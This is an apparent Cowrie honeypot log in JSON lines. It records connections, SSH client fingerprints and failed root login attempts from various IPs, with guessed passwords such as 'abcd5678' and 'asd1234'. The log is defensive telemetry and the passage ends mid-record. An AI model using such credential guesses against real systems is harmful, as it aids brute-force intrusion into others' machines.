{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:09.007888Z","src_ip":"115.68.226.124","session":"e12fba943843","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:09.211166Z","src_ip":"115.68.226.124","session":"e12fba943843","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.73528504371643,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:10.019922Z","src_ip":"192.119.13.58","session":"c606a1ce4a1a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"adriano","message":"login attempt [root/adriano] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:10.082893Z","src_ip":"115.68.226.124","session":"e12fba943843","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.05559992790222,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:11.100785Z","src_ip":"192.119.13.58","session":"8981a764fbbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:11.291135Z","src_ip":"115.68.226.124","session":"e12fba943843","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56824,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ce7ce050c15","protocol":"telnet","message":"New connection: 192.119.13.58:56824 (10.17.0.5:23) [session: 7ce7ce050c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:14.224912Z"}
{"eventid":"cowrie.session.closed","duration":40.38554620742798,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:14.233142Z","src_ip":"192.119.13.58","session":"23acbc38ce07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54720,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c8170b144ea","protocol":"telnet","message":"New connection: 192.119.13.58:54720 (10.17.0.5:23) [session: 7c8170b144ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:14.706644Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39242,"dst_ip":"10.17.0.5","dst_port":23,"session":"59f3a743ea1c","protocol":"telnet","message":"New connection: 192.119.13.58:39242 (10.17.0.5:23) [session: 59f3a743ea1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:16.858172Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44260,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbac5a467d5e","protocol":"telnet","message":"New connection: 192.119.13.58:44260 (10.17.0.5:23) [session: dbac5a467d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:18.003402Z"}
{"eventid":"cowrie.session.closed","duration":34.90613508224487,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:18.039857Z","src_ip":"192.119.13.58","session":"1a7fd5b32a7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52296,"dst_ip":"10.17.0.5","dst_port":23,"session":"57daeb73fab6","protocol":"telnet","message":"New connection: 192.119.13.58:52296 (10.17.0.5:23) [session: 57daeb73fab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:19.961864Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":52994,"dst_ip":"10.17.0.5","dst_port":22,"session":"de5d0188d87f","protocol":"ssh","message":"New connection: 103.164.9.74:52994 (10.17.0.5:22) [session: de5d0188d87f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:20.330736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:20.335406Z","src_ip":"103.164.9.74","session":"de5d0188d87f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:20.533772Z","src_ip":"103.164.9.74","session":"de5d0188d87f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ionut","message":"login attempt [root/ionut] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:21.348583Z","src_ip":"103.164.9.74","session":"de5d0188d87f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:22.550677Z","src_ip":"103.164.9.74","session":"de5d0188d87f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38402,"dst_ip":"10.17.0.5","dst_port":23,"session":"f986e56ee133","protocol":"telnet","message":"New connection: 192.119.13.58:38402 (10.17.0.5:23) [session: f986e56ee133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:23.183548Z"}
{"eventid":"cowrie.session.closed","duration":47.23884105682373,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:24.445980Z","src_ip":"192.119.13.58","session":"ac4ec858464a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59084,"dst_ip":"10.17.0.5","dst_port":23,"session":"16b1f1885013","protocol":"telnet","message":"New connection: 192.119.13.58:59084 (10.17.0.5:23) [session: 16b1f1885013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:28.138847Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59386,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ea7bd6ef761","protocol":"telnet","message":"New connection: 192.119.13.58:59386 (10.17.0.5:23) [session: 9ea7bd6ef761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:28.200985Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57310,"dst_ip":"10.17.0.5","dst_port":23,"session":"953e3179abb2","protocol":"telnet","message":"New connection: 192.119.13.58:57310 (10.17.0.5:23) [session: 953e3179abb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:34.523192Z"}
{"eventid":"cowrie.session.closed","duration":39.944732904434204,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:35.017531Z","src_ip":"192.119.13.58","session":"16bb19206c2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.01236605644226,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:35.685834Z","src_ip":"192.119.13.58","session":"e551a8db2f5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.5793240070343,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:42.929355Z","src_ip":"192.119.13.58","session":"7e97ca34afa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48380,"dst_ip":"10.17.0.5","dst_port":23,"session":"141552a1b65b","protocol":"telnet","message":"New connection: 192.119.13.58:48380 (10.17.0.5:23) [session: 141552a1b65b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:46.055228Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":41942,"dst_ip":"159.203.135.109","dst_port":22,"session":"e120c1022ff3","protocol":"ssh","message":"New connection: 103.98.149.87:41942 (159.203.135.109:22) [session: e120c1022ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:46.439491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:46.532335Z","src_ip":"103.98.149.87","session":"e120c1022ff3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:46.841145Z","src_ip":"103.98.149.87","session":"e120c1022ff3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.90502643585205,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:46.881859Z","src_ip":"192.119.13.58","session":"5b264db8fc43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52406,"dst_ip":"10.17.0.5","dst_port":23,"session":"8720bb696768","protocol":"telnet","message":"New connection: 192.119.13.58:52406 (10.17.0.5:23) [session: 8720bb696768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:47.107772Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"25802580","message":"login attempt [root/25802580] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:49.528979Z","src_ip":"103.98.149.87","session":"e120c1022ff3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:50.971172Z","src_ip":"103.98.149.87","session":"e120c1022ff3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.50970935821533,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:53.471470Z","src_ip":"192.119.13.58","session":"57daeb73fab6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":42712,"dst_ip":"10.17.0.5","dst_port":22,"session":"1419b01f2ef0","protocol":"ssh","message":"New connection: 40.83.182.122:42712 (10.17.0.5:22) [session: 1419b01f2ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:55.131902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:55.142933Z","src_ip":"40.83.182.122","session":"1419b01f2ef0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:55.221712Z","src_ip":"40.83.182.122","session":"1419b01f2ef0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.732696771621704,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:55.439033Z","src_ip":"192.119.13.58","session":"7c8170b144ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.663267374038696,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:55.521309Z","src_ip":"192.119.13.58","session":"59f3a743ea1c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd5678","message":"login attempt [root/abcd5678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:55.565264Z","src_ip":"40.83.182.122","session":"1419b01f2ef0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60394,"dst_ip":"10.17.0.5","dst_port":23,"session":"421c86786cea","protocol":"telnet","message":"New connection: 192.119.13.58:60394 (10.17.0.5:23) [session: 421c86786cea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:55.813933Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:56.646939Z","src_ip":"40.83.182.122","session":"1419b01f2ef0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36968,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9b790b47685","protocol":"telnet","message":"New connection: 192.119.13.58:36968 (10.17.0.5:23) [session: c9b790b47685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:56.986000Z"}
{"eventid":"cowrie.session.closed","duration":43.43747162818909,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:57.662270Z","src_ip":"192.119.13.58","session":"7ce7ce050c15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42536,"dst_ip":"10.17.0.5","dst_port":23,"session":"690521b97b3f","protocol":"telnet","message":"New connection: 192.119.13.58:42536 (10.17.0.5:23) [session: 690521b97b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:58.396001Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":56036,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0dcdc678e22","protocol":"ssh","message":"New connection: 37.233.85.71:56036 (10.17.0.5:22) [session: b0dcdc678e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:58.766996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:58.771691Z","src_ip":"37.233.85.71","session":"b0dcdc678e22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:58.876703Z","src_ip":"37.233.85.71","session":"b0dcdc678e22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd1234","message":"login attempt [root/asd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:14:59.248637Z","src_ip":"37.233.85.71","session":"b0dcdc678e22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:00.357159Z","src_ip":"37.233.85.71","session":"b0dcdc678e22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.845447301864624,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:02.028571Z","src_ip":"192.119.13.58","session":"f986e56ee133","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":40610,"dst_ip":"159.203.135.109","dst_port":22,"session":"8611978be4ec","protocol":"ssh","message":"New connection: 94.159.98.239:40610 (159.203.135.109:22) [session: 8611978be4ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:02.637340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:15:02.643971Z","src_ip":"94.159.98.239","session":"8611978be4ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 